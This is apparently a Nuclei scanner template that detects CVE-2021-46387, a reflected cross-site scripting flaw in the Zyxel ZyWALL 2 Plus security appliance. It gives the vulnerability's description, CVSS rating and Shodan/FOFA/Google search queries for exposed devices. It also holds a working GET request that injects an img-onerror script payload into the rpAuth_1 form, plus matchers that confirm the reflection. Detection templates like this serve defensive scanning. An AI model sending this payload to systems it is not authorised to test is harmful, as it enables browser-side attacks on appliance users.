id: CVE-2021-46387

info:
  name: Zyxel ZyWALL 2 Plus Internet Security Appliance - Cross-Site Scripting
  author: DhiyaneshDk
  severity: medium
  description: ZyXEL ZyWALL 2 Plus Internet Security Appliance contains a cross-site scripting vulnerability. Insecure URI handling leads to bypass of security restrictions, which allows an attacker to execute arbitrary JavaScript codes to perform multiple attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or firmware updates provided by Zyxel to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/50797
    - https://www.zyxel.com/us/en/support/security_advisories.shtml
    - https://drive.google.com/drive/folders/1_XfWBLqxT2Mqt7uB663Sjlc62pE8-rcN?usp=sharing
    - https://nvd.nist.gov/vuln/detail/CVE-2021-46387
    - https://www.zyxel.com/uk/en/products_services/zywall_2_plus.shtml
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-46387
    cwe-id: CWE-79
    epss-score: 0.21028
    epss-percentile: 0.97323
    cpe: cpe:2.3:o:zyxel:zywall_2_plus_internet_security_appliance_firmware:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zyxel
    product: zywall_2_plus_internet_security_appliance_firmware
    shodan-query:
      - http.title:"Zywall2Plus"
      - http.title:"zywall2plus"
    fofa-query: title="zywall2plus"
    google-query: intitle:"zywall2plus"
  tags: cve2021,cve,xss,zyxel,edb,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/Forms/rpAuth_1?id=</form><iMg%20src=x%20onerror="prompt(document.domain)"><form>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<iMg src=x onerror="prompt(document.domain)"><form>'
          - 'Entry Error'
        condition: and

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e0232c1f32c7f78e85ad382a6de00dfbf35115dd9d09b1e8bba316ad4593eb9902203b11799405f89a6c3093ad81ce2bf7d860f9ddce9969fe465443a5b13fa31702:922c64590222798bb761d5b6d8e72950